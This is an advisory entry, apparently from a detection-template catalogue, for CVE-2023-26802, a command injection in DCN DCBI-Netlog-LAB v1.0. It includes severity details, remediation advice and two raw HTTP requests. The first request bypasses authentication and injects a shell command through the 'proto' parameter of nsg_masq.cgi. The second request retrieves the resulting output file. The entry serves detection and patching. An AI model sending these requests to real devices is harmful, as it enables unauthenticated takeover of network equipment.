| Title | DCBI-Netlog-LAB v1.0 - Command Injection |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication and execute arbitrary OS commands on the DCN DCBI-Netlog-LAB device, leading to complete device compromise and potential network infiltration. |
| Remediation | Upgrade to the latest firmware version from DCN that addresses this command injection vulnerability, or apply vendor-provided security patches. |
| CVSS Score | 9.8 |
| EPSS Score | 0.84594 |
| CVE ID | CVE-2023-26802 |
| CWE ID | CWE-22 |
| Tags | cve cve2023 rce unauth netlog vkev vuln |
An issue in the component /network_config/nsg_masq.cgi of DCN (Digital China Networks) DCBI-Netlog-LAB v1.0 allows attackers to bypass authentication and execute arbitrary commands via a crafted request.
GET /cgi-bin/network_config/nsg_masq.cgi?user_name=admin&session_id=../&lang=zh_CN.UTF-8&act=2&proto=;ls>/usr/local/lyx/lyxcenter/web/ByXJ.html; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
DNT: 1
X-Forwarded-For: 8.8.8.8
Accept-Encoding: gzip
GET /ByXJ.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
DNT: 1
X-Forwarded-For: 8.8.8.8
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26802.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26802.pcap
N/AN/A